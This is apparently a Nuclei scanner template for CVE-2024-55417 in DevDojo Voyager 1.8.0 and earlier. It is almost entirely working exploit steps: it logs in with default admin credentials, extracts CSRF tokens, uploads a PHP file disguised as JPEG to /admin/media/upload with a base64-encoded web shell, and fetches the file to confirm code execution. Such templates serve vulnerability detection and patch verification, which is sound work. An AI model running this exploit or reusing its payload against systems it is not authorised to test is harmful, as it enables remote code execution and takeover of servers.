DevDojo Voyager through version 1.8.0 is vulnerable to bypassing the file type verification when an authenticated user uploads a file via /admin/media/upload. An authenticated user can upload a web shell causing arbitrary code execution on the server.
PoC代码[已公开]
id: CVE-2024-55417
info:
name: DevDojo Voyager <= 1.8.0 - Arbitrary File Write vulnerability
author: iamnoooob,rootxharsh,pdresearch
severity: high
description: |
DevDojo Voyager through version 1.8.0 is vulnerable to bypassing the file type verification when an authenticated user uploads a file via /admin/media/upload. An authenticated user can upload a web shell causing arbitrary code execution on the server.
reference:
- https://www.sonarsource.com/blog/the-tainted-voyage-uncovering-voyagers-vulnerabilities/
- https://github.com/thedevdojo/voyager/blob/1.6/src/Http/Controllers/VoyagerMediaController.php#L238
classification:
cve-id: CVE-2024-55417
epss-score: 0.05656
epss-percentile: 0.90015
metadata:
verified: true
max-request: 5
shodan-query: title:"Voyager"
tags: cve,cve2024,intrusive,devdojo,voyager,file-upload,authenticated
flow: http(1) && http(2) && http(3) && http(4) && http(5)
variables:
username: "admin@admin.com"
password: "password"
http:
- raw:
- |
GET /admin/login HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
part: body
internal: true
name: csrf
group: 1
regex:
- 'name="_token" value="([a-zA-Z0-9]+)"'
- raw:
- |
POST /admin/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
_token={{csrf}}&email={{username}}&password={{password}}&
matchers:
- type: dsl
dsl:
- "contains(body,'/admin</title>')"
- "status_code == 302"
condition: and
internal: true
- raw:
- |
GET /admin/media HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
part: body
internal: true
name: csrf2
group: 1
regex:
- '"csrf-token" content="([a-zA-Z0-9]+)"'
- raw:
- |
POST /admin/media/upload HTTP/1.1
Host: {{Hostname}}
Accept: application/json
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqv6qtCsokj1vi0NA
------WebKitFormBoundaryqv6qtCsokj1vi0NA
Content-Disposition: form-data; name="_token"
{{csrf2}}
------WebKitFormBoundaryqv6qtCsokj1vi0NA
Content-Disposition: form-data; name="upload_path"
/
------WebKitFormBoundaryqv6qtCsokj1vi0NA
Content-Disposition: form-data; name="filename"
null
------WebKitFormBoundaryqv6qtCsokj1vi0NA
Content-Disposition: form-data; name="details"
{"thumbnails":[],"watermark":{}}
------WebKitFormBoundaryqv6qtCsokj1vi0NA
Content-Disposition: form-data; name="file"; filename="{{randstr}}.php"
Content-Type: text/php
{{base64_decode('/9j//gApPD9waHAgZWNobyBiYXNlNjRfZGVjb2RlKCRfR0VUWyJxIl0pOz8+/9sAQwADAgICAgIDAgICAwMDAwQGBAQEBAQIBgYFBgkICgoJCAkJCgwPDAoLDgsJCQ0RDQ4PEBAREAoMEhMSEBMPEBAQ/8kACwgAAQABAQERAP/MAAYAEBAF/9oACAEBAAA/ANLPIP/Z')}}
------WebKitFormBoundaryqv6qtCsokj1vi0NA--
matchers:
- type: word
part: body
words:
- 'Encoding format (php) is not supported.'
internal: true
- raw:
- |
GET /storage/{{randstr}}.php?q={{base64('{{randstr}}')}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body
words:
- "{{randstr}}"
# digest: 490a00463044022046d044ac505d10be84416aad243e4ab8258a5a9e559e8b084e4585c2b5a7c98502204e9f8cd00897e6e09abdbb628554921367a7b584220fd6b1e41c84ae1d4f23a3:922c64590222798bb761d5b6d8e72950